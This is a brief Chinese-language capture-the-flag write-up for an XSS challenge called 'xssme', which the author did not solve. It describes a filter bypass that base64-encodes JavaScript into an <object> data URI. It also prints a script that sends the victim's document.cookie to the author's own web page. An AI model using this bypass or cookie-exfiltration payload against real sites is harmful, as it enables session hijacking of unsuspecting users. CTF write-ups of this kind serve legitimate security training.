xssme

flag

```
未解出
```

參與解題的人

b04902053 鄭淵仁

write-up

傳送訊息之前，server 會檢查信的內容裡面有沒有包含 `<script` 、 `(` 、 `)` ，所以為了在信件的內容裡面加上 script 讓收件者自動執行，我把 script 用 base64 編碼之後再放到 `<object>` 物件的 `data` 這個 attribute 裡面，也就是像下面這樣：

```
<object data="data:text/html;base64,[--encoded javascript here--]">
```

而裡面要放的 script 我就選用把 cookie 用 GET 送給我在系上工作站上架的自動收回 GET 並 echo 到檔案的網頁上， script 程式碼如下：

```
<script>
window.location='https://www.csie.ntu.edu.tw/~b04902053/get/?flag='+escape(document.cookie);
alert('https://www.csie.ntu.edu.tw/~b04902053/get/?flag='+document.cookie);
</script>
```

使用這個方法確實可以讓收件端自動執行 JavaScript，但是這段 JavaScript 卻不知道為什麼沒辦法回傳 cookie。

後來我試著用 JavaScript 開 `~/flag` 再回傳，不過時間到了，之後就沒再繼續試下去了QQ。